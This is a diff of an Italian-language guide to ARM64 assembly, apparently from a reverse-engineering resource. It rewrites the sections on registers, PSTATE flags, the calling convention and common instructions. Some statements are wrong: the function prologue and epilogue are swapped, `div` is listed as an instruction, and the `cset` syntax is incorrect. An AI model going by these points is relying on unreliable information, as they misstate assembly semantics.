+4. **`x16`** e **`x17`** - **Intra-procedural Call Registers**. Registri temporanei per valori immediati. Sono anche usati per chiamate di funzione indirette e PLT stubs.
+- **`x16`** è usato come **system call number** per l'istruzione **`svc`** in **macOS**.
+5. **`x18`** - **Platform register**. Può essere usato come registro generale, ma su alcune piattaforme questo registro è riservato a usi specifici della piattaforma: puntatore al current thread environment block in Windows, o per puntare alla struttura del task attualmente **eseguito nel linux kernel**.
+6. **`x19`** a **`x28`** - Sono registri callee-saved. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono salvati nello stack e recuperati prima di tornare al chiamante.
+7. **`x29`** - **Frame pointer** per tenere traccia del frame dello stack. Quando viene creato un nuovo stack frame perché viene chiamata una funzione, il registro **`x29`** viene **salvato nello stack** e il nuovo indirizzo del frame pointer (l'indirizzo di **`sp`**) viene **memorizzato in questo registro**.
+- Questo registro può anche essere usato come **registro generale** anche se solitamente è usato come riferimento per le **variabili locali**.
+8. **`x30`** o **`lr`** - **Link register**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore del **`pc`** in questo registro.
+- Può anche essere usato come qualsiasi altro registro.
+- Se la funzione corrente chiamerà una nuova funzione e quindi sovrascriverà `lr`, verrà salvato nello stack all'inizio; questo è l'epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) e verrà recuperato alla fine; questo è il prologo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return).
+9. **`sp`** - **Stack pointer**, usato per tenere traccia della cima dello stack.
+- Il valore di **`sp`** deve sempre essere mantenuto almeno con un'allineamento a **quadword**, altrimenti può verificarsi un'eccezione di allineamento.
+10. **`pc`** - **Program counter**, che punta alla prossima istruzione. Questo registro può essere aggiornato solo tramite generazione di eccezioni, ritorni da eccezioni e branch. Le uniche istruzioni ordinarie che possono leggere questo registro sono le istruzioni branch with link (BL, BLR) che memorizzano l'indirizzo del **`pc`** in **`lr`** (Link Register).
+11. **`xzr`** - **Zero register**. Chiamato anche **`wzr`** nella sua forma a **32** bit. Può essere usato per ottenere facilmente il valore zero (operazione comune) o per eseguire confronti usando **`subs`** come **`subs XZR, Xn, #10`** che non memorizza il risultato da nessuna parte (in **`xzr`**).
 
-I registri **`Wn`** sono la versione **a 32 bit** del registro **`Xn`**.
+I registri **`Wn`** sono la versione **32bit** del registro **`Xn`**.
 
-### Registri SIMD e Floating-Point
+> [!TIP]
+> I registri da X0 a X18 sono volatili, il che significa che i loro valori possono essere cambiati da chiamate di funzione e interrupt. Tuttavia, i registri da X19 a X28 sono non-volatili, quindi i loro valori devono essere preservati attraverso le chiamate di funzione ("callee saved").
 
-Inoltre, ci sono altri **32 registri di lunghezza 128 bit** che possono essere utilizzati in operazioni ottimizzate di dati multipli a singola istruzione (SIMD) e per eseguire aritmetica in virgola mobile. Questi sono chiamati registri Vn anche se possono operare anche in **64** bit, **32** bit, **16** bit e **8** bit e poi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
+### SIMD and Floating-Point Registers
 
-### Registri di Sistema
+Inoltre, ci sono altri **32 registri di lunghezza 128bit** che possono essere usati in operazioni SIMD ottimizzate e per eseguire operazioni in virgola mobile. Questi sono chiamati registri Vn anche se possono operare in **64**-bit, **32**-bit, **16**-bit e **8**-bit e in quei casi sono chiamati **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
 
-**Ci sono centinaia di registri di sistema**, chiamati anche registri a scopo speciale (SPRs), utilizzati per **monitorare** e **controllare** il comportamento dei **processori**.\
-Possono essere letti o impostati solo utilizzando le istruzioni speciali dedicate **`mrs`** e **`msr`**.
+### System Registers
 
-I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica l'**eccezione minima** da cui il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare (privilegio) con cui girano i programmi regolari).\
-Sono spesso utilizzati per memorizzare l'**indirizzo base della regione di memoria dello storage locale del thread**. Di solito il primo è leggibile e scrivibile per i programmi che girano in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
+**Esistono centinaia di system registers**, chiamati anche special-purpose registers (SPRs), usati per **monitorare** e **controllare** il comportamento dei **processori**.\
+Possono essere letti o impostati solo usando le istruzioni dedicate speciali **`mrs`** e **`msr`**.
 
-- `mrs x0, TPIDR_EL0 ; Leggi TPIDR_EL0 in x0`
-- `msr TPIDR_EL0, X0 ; Scrivi x0 in TPIDR_EL0`
+I registri speciali **`TPIDR_EL0`** e **`TPIDDR_EL0`** si trovano comunemente durante il reverse engineering. Il suffisso `EL0` indica il **livello minimo di eccezione** dal quale il registro può essere accessibile (in questo caso EL0 è il livello di eccezione regolare con cui girano i programmi normali).\
+Spesso sono usati per memorizzare l'**indirizzo base del thread-local storage** nella memoria. Di solito il primo è leggibile e scrivibile per i programmi in EL0, ma il secondo può essere letto da EL0 e scritto da EL1 (come il kernel).
+
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** contiene diversi componenti del processo serializzati nel registro speciale visibile dal sistema operativo **`SPSR_ELx`**, essendo X il **livello di permesso** **dell'eccezione** attivata (questo consente di recuperare lo stato del processo quando l'eccezione termina).\
+**PSTATE** contiene diversi componenti di processo serializzati nel registro speciale visibile al sistema operativo **`SPSR_ELx`**, dove X è il **livello di permessi dell'eccezione generata** (questo permette di recuperare lo stato del processo quando l'eccezione termina).\
 Questi sono i campi accessibili:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
 - I flag di condizione **`N`**, **`Z`**, **`C`** e **`V`**:
-- **`N`** significa che l'operazione ha prodotto un risultato negativo.
-- **`Z`** significa che l'operazione ha prodotto zero.
-- **`C`** significa che l'operazione ha generato un riporto.
-- **`V`** significa che l'operazione ha prodotto un overflow firmato:
-- La somma di due numeri positivi produce un risultato negativo.
-- La somma di due numeri negativi produce un risultato positivo.
-- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato all'interno dell'intervallo della dimensione di bit data.
-- Ovviamente il processore non sa se l'operazione è firmata o meno, quindi controllerà C e V nelle operazioni e indicherà se si è verificato un riporto nel caso fosse firmato o non firmato.
+- **`N`** indica che l'operazione ha prodotto un risultato negativo
+- **`Z`** indica che l'operazione ha prodotto zero
+- **`C`** indica che l'operazione ha generato un carry
+- **`V`** indica che l'operazione ha prodotto un overflow con segno:
+- La somma di due numeri positivi restituisce un risultato negativo.
+- La somma di due numeri negativi restituisce un risultato positivo.
+- Nella sottrazione, quando un grande numero negativo viene sottratto da un numero positivo più piccolo (o viceversa), e il risultato non può essere rappresentato nell'intervallo del dato bit-size.
+- Ovviamente il processore non sa se l'operazione è con segno o no, quindi controllerà C e V nelle operazioni e indicherà se è avvenuto un carry nel caso fosse segnata o unsigned.
 
 > [!WARNING]
-> Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche.
+> Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno il suffisso s come **`ADDS`** lo fanno.
 
-- Il flag **larghezza registro corrente (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso.
-- Il **Livello di Eccezione** (**`EL`**): Un programma regolare che gira in EL0 avrà il valore 0.
-- Il flag di **single stepping** (**`SS`**): Utilizzato dai debugger per eseguire un passo singolo impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di passo singolo.
-- Il flag di stato di **eccezione illegale** (**`IL`**): Viene utilizzato per contrassegnare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag è impostato a 1 e il processore attiva un'eccezione di stato illegale.
-- I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente alcune eccezioni esterne.
-- Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione Hardware** (IRQ). e il F è relativo alle **Richieste di Interruzione Veloce** (FIR).
-- I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati che girano in EL1 e superiori possono passare tra l'uso del proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
+- Il flag della **larghezza corrente del registro (`nRW`)**: Se il flag ha valore 0, il programma eseguirà nello stato di esecuzione AArch64 una volta ripreso.
+- Il corrente **Exception Level** (**`EL`**): Un programma regolare che gira in EL0 avrà valore 0
+- Il flag di **single stepping** (**`SS`**): Usato dai debugger per eseguire passo-passo impostando il flag SS a 1 dentro **`SPSR_ELx`** tramite un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di singolo passo.
+- Il flag di stato di **illegal exception** (**`IL`**): Viene usato per marcare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido; questo flag viene impostato a 1 e il processore genera un'eccezione di stato illegale.
+- I flag **`DAIF`**: Questi flag permettono a un programma privilegiato di mascherare selettivamente certe eccezioni esterne.
+- Se **`A`** è 1 significa che verranno innescate **asynchronous aborts**. **`I`** configura la risposta alle richieste di Interrupt esterni (IRQs). e la F è relativa alle **Fast Interrupt Requests** (FIRs).
+- I flag di selezione dello stack pointer (**`SPS`**): I programmi privilegiati che girano in EL1 e oltre possono passare dall'uso del proprio stack pointer register a quello del modello utente (es. tra `SP_EL1` e `EL0`). Questo switching è eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0.
 
-## **Convenzione di Chiamata (ARM64v8)**
+## **Calling Convention (ARM64v8)**
 
-La convenzione di chiamata ARM64 specifica che i **primi otto parametri** a una funzione vengono passati nei registri **`x0` attraverso `x7`**. I parametri **aggiuntivi** vengono passati nello **stack**. Il **valore di ritorno** viene passato indietro nel registro **`x0`**, o in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** tra le chiamate di funzione.
+La calling convention ARM64 stabilisce che i **primi otto parametri** di una funzione sono passati nei registri **`x0` fino a `x7`**. I parametri **aggiuntivi** sono passati sul **lo stack**. Il valore di **ritorno** è passato indietro nel registro **`x0`**, o anche in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** attraverso le chiamate di funzione.
 
-Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo della funzione**. Il **prologo** di solito comporta **salvare il puntatore di frame (`x29`)**, **impostare** un **nuovo puntatore di frame**, e **allocare spazio nello stack**. L'**epilogo** di solito comporta **ripristinare il puntatore di frame salvato** e **ritornare** dalla funzione.
+Quando si legge una funzione in assembly, cercare il **prologo** e l'**epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, la **configurazione** di un **nuovo frame pointer**, e l**'allocazione di spazio sullo stack**. L'**epilogo** di solito implica il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione.
 
-### Convenzione di Chiamata in Swift
+### Calling Convention in Swift
 
-Swift ha la propria **convenzione di chiamata** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
+Swift ha la sua **calling convention** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
-## **Istruzioni Comuni (ARM64v8)**
+## **Common Instructions (ARM64v8)**
 
-Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il **registro di destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i **registri sorgente**. I valori immediati possono anche essere utilizzati al posto dei registri sorgente.
+Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il registro **destinazione** dove il risultato sarà memorizzato, e **`src1`** e **`src2`** sono i registri **sorgente**. Possono essere usati anche valori immediati al posto dei registri sorgente.
 
 - **`mov`**: **Sposta** un valore da un **registro** a un altro.
-- Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
+- Example: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`.
 - **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**.
-- Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`.
-- **Modalità offset**: Un offset che influisce sul puntatore di origine è indicato, per esempio:
-- `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8.
-- `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4.
-- **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine.
-- `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`.
-- `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp.
-- **Modalità post-indicizzata**: Questo è simile al precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato.
-- `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`.
-- **Indirizzamento relativo al PC**: In questo caso l'indirizzo da caricare è calcolato rispetto al registro PC.
-- `ldr x1, =_start`, Questo caricherà l'indirizzo dove inizia il simbolo `_start` in x1 relativo all'attuale PC.
+- Example: `ldr x0, [x1]` — Questo carica un valore dall'indirizzo di memoria puntato da `x1` in `x0`.
+- **Offset mode**: Un offset che interessa il puntatore di origine è indicato, per esempio:
+- `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8
+- `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (index) * 4
+- **Pre-indexed mode**: Questo applicherà i calcoli all'origine, ottiene il risultato e inoltre memorizza la nuova origine nell'origine.
+- `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`
+- `str lr, [sp, #-4]!`, Memorizza il link register in sp e aggiorna il registro sp
+- **Post-index mode**: Questo è come il precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato.
+- `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`
+- **PC-relative addressing**: In questo caso l'indirizzo da caricare è calcolato relativamente al registro PC
+- `ldr x1, =_start`, Questo caricherà in x1 l'indirizzo dove inizia il simbolo `_start` relativo al PC corrente.
 - **`str`**: **Memorizza** un valore da un **registro** nella **memoria**.
-- Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`.
-- **`ldp`**: **Carica coppia di registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
-- Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria in `x2` e `x2 + 8`, rispettivamente.
-- **`stp`**: **Memorizza coppia di registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
-- Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente.
-- `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
-- **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro.
-- Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
+- Example: `str x0, [x1]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria puntato da `x1`.
+- **`ldp`**: **Load Pair of Registers**. Questa istruzione **carica due registri** da **locazioni di memoria consecutive**. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
+- Example: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle locazioni di memoria a `x2` e `x2 + 8`, rispettivamente.
+- **`stp`**: **Store Pair of Registers**. Questa istruzione **memorizza due registri** in **locazioni di memoria consecutive**. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro.
+- Example: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle locazioni di memoria a `sp` e `sp + 8`, rispettivamente.
+- `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle locazioni di memoria a `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`.
+- **`add`**: **Somma** i valori di due registri e memorizza il risultato in un registro.
+- Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
 - Xn1 -> Destinazione
 - Xn2 -> Operando 1
 - Xn3 | #imm -> Operando 2 (registro o immediato)
-- \[shift #N | RRX] -> Esegui uno shift o chiama RRX
-- Esempio: `add x0, x1, x2` — Questo aggiunge i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`.
-- `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shifter 12 volte) -> 1 0000 0000 0000 0000.
-- **`adds`** Questo esegue un `add` e aggiorna i flag.
+- \[shift #N | RRX] -> Esegue uno shift o RRX
+- Example: `add x0, x1, x2` — Questo somma i valori in `x1` e `x2` e memorizza il risultato in `x0`.
+- `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shiftato 12 volte) -> 1 0000 0000 0000 0000
+- **`adds`** Questo esegue un `add` e aggiorna i flag
 - **`sub`**: **Sottrae** i valori di due registri e memorizza il risultato in un registro.
-- Controlla la **sintassi di `add`**.
-- Esempio: `sub x0, x1, x2` — Questo sottrae il valore in `x2` da `x1` e memorizza il risultato in `x0`.
-- **`subs`** Questo è simile a sub ma aggiorna il flag.
+- Vedi la **sintassi** di **`add`**.
+- Example: `sub x0, x1, x2` — Questo sottrae il valore in `x2` da `x1` e memorizza il risultato in `x0`.
+- **`subs`** Simile a sub ma aggiorna i flag
 - **`mul`**: **Moltiplica** i valori di **due registri** e memorizza il risultato in un registro.
-- Esempio: `mul x0, x1, x2` — Questo moltiplica i valori in `x1` e `x2` e memorizza il risultato in `x0`.
+- Example: `mul x0, x1, x2` — Questo moltiplica i valori in `x1` e `x2` e memorizza il risultato in `x0`.
 - **`div`**: **Divide** il valore di un registro per un altro e memorizza il risultato in un registro.
-- Esempio: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`.
+- Example: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Shift logico a sinistra**: Aggiungi 0s dalla fine spostando gli altri bit in avanti (moltiplica per n-volte 2).
-- **Shift logico a destra**: Aggiungi 1s all'inizio spostando gli altri bit all'indietro (dividi per n-volte 2 in non firmato).
-- **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0s se il bit più significativo è 1, **si aggiungono 1s** (dividi per n-volte 2 in firmato).
-- **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra.
-- **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di riporto come "bit più significativo". Quindi il flag di riporto viene spostato al bit 31 e il bit rimosso al flag di riporto.
-- **`bfm`**: **Bit Filed Move**, queste operazioni **copia i bit `0...n`** da un valore e li posiziona nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**.
-- Spostamento di bit: `BFM Xd, Xn, #r`
-- Spostamento di bit firmato: `SBFM Xd, Xn, #r, #s`
-- Spostamento di bit non firmato: `UBFM Xd, Xn, #r, #s`
-- **Estrai e Inserisci Bitfield:** Copia un campo di bit da un registro e lo copia in un altro registro.
-- **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1.
-- **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1.
-- **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
-- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2, estende il segno e posiziona il risultato in X1.
-- **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra.
-- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2 e posiziona il risultato esteso a zero in X1.
-- **Estendi il segno a X:** Estende il segno (o aggiunge solo 0s nella versione non firmata) di un valore per poter eseguire operazioni con esso:
-- **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è la metà di `X2`) per riempire i 64 bit.
-- **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit.
-- **`SXTW X1, W2`** Estende il segno di un byte **da W2 a X1** per riempire i 64 bit.
-- **`UXTB X1, W2`** Aggiunge 0s (non firmato) a un byte **da W2 a X1** per riempire i 64 bit.
-- **`extr`:** Estrae bit da una **coppia di registri specificata concatenata**.
-- Esempio: `EXTR W3, W2, W1, #3` Questo **concatenerà W1+W2** e otterrà **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizzerà in W3.
+- **Logical shift left**: Aggiunge 0 dalla fine spostando gli altri bit in avanti (moltiplica per 2^n)
+- **Logical shift right**: Aggiunge 0 all'inizio spostando gli altri bit indietro (divide per 2^n in unsigned)
+- **Arithmetic shift right**: Come **`lsr`**, ma invece di aggiungere 0 se il bit più significativo è 1, vengono aggiunti 1 (divide per 2^n in signed)
+- **Rotate right**: Come **`lsr`** ma ciò che viene rimosso dalla destra viene aggiunto a sinistra
+- **Rotate Right with Extend**: Come **`ror`**, ma con il carry flag come "bit più significativo". Quindi il carry flag viene spostato nel bit 31 e il bit rimosso va nel carry flag.
+- **`bfm`**: **Bit Filed Move**, queste operazioni **copiano bit `0...n`** da un valore e li posizionano nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la quantità di rotazione a destra.
+- Bitfiled move: `BFM Xd, Xn, #r`
+- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
+- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
+- **Bitfield Extract and Insert:** Copia un bitfield da un registro e lo copia in un altro registro.
+- **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 a partire dal 3° bit in X1
+- **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1
+- **`SBFIZ X1, X2, #3, #4`** Estende con segno 4 bit da X2 e li inserisce in X1 a partire dalla posizione bit 3 azzerando i bit a destra
+- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2, li estende con segno e posiziona il risultato in X1
+- **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione bit 3 azzerando i bit a destra
+- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2 e posiziona il risultato zero-extended in X1.
+- **Sign Extend To X:** Estende il segno (o aggiunge solo 0 nella versione unsigned) di un valore per poter eseguire operazioni con esso:
+- **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è metà di `X2`) per riempire i 64 bit
+- **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit
+- **`SXTW X1, W2`** Estende il segno di un valore da **W2 a X1** per riempire i 64 bit
+- **`UXTB X1, W2`** Aggiunge 0 (unsigned) a un byte **da W2 a X1** per riempire i 64 bit
+- **`extr`:** Estrae bit da una coppia specificata di registri concatenati.
+- Example: `EXTR W3, W2, W1, #3` Questo concatenerà W1+W2 e prenderà **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizzerà in W3.
 - **`cmp`**: **Confronta** due registri e imposta i flag di condizione. È un **alias di `subs`** impostando il registro di destinazione al registro zero. Utile per sapere se `m == n`.
-- Supporta la **stessa sintassi di `subs`**.
-- Esempio: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta i flag di condizione di conseguenza.
-- **`cmn`**: **Confronta l'operando negativo**. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`.
+- Supporta la **stessa sintassi di `subs`**
+- Example: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta di conseguenza i flag di condizione.
+- **`cmn`**: **Compare negative** operando. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`.
 - **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è stato vero e imposterà specificamente i bit nzcv.
-- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func.
-- Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`).
+- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func
+- Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`).
 - Questo può anche essere usato come `ccmn` (stessa cosa ma negativa, come `cmp` vs `cmn`).
-- **`tst`**: Controlla se uno dei valori del confronto è entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno dei bit del registro indicato nel valore è 1.
-- Esempio: `tst X1, #7` Controlla se uno dei ultimi 3 bit di X1 è 1.
-- **`teq`**: Operazione XOR scartando il risultato.
-- **`b`**: Salto incondizionato.
-- Esempio: `b myFunction`.
-- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro).
-- **`bl`**: **Salto** con link, utilizzato per **chiamare** una **sottoprocedura**. Memorizza l'**indirizzo di ritorno in `x30`**.
-- Esempio: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`.
-- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro).
-- **`blr`**: **Salto** con Link a Registro, utilizzato per **chiamare** una **sottoprocedura** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`.
-- Esempio: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`.
-- **`ret`**: **Ritorna** dalla **sottoprocedura**, tipicamente utilizzando l'indirizzo in **`x30`**.
-- Esempio: `ret` — Questo ritorna dalla corrente sottoprocedura utilizzando l'indirizzo di ritorno in `x30`.
-- **`b.<cond>`**: Salti condizionali.
-- **`b.eq`**: **Salta se uguale**, basato sull'istruzione `cmp` precedente.
-- Esempio: `b.eq label` — Se l'istruzione `cmp` precedente ha trovato due valori uguali, questo salta a `label`.
-- **`b.ne`**: **Salta se non uguale**. Questa istruzione controlla i flag di condizione (che sono stati impostati da un'istruzione di confronto precedente), e se i valori confrontati non erano uguali, salta a un'etichetta o indirizzo.
-- Esempio: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, questo salta a `label`.
-- **`cbz`**: **Confronta e Salta su Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo.
-- Esempio: `cbz x0, label` — Se il valore in `x0` è zero, questo salta a `label`.
-- **`cbnz`**: **Confronta e Salta su Non Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo.
-- Esempio: `cbnz x0, label` — Se il valore in `x0` è non zero, questo salta a `label`.
-- **`tbnz`**: Testa il bit e salta se non zero.
-- Esempio: `tbnz x0, #8, label`.
-- **`tbz`**: Testa il bit e salta se zero.
-- Esempio: `tbz x0, #8, label`.
-- **Operazioni di selezione condizionale**: Queste sono operazioni il cui comportamento varia a seconda dei bit condizionali.
-- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2.
-- `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1.
-- `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn.
-- `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NOT(Xm).
-- `cinv Xd, Xn, cond` -> Se vero, Xd = NOT(Xn), se falso, Xd = Xn.
-- `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm.
-- `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn.
-- `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0.
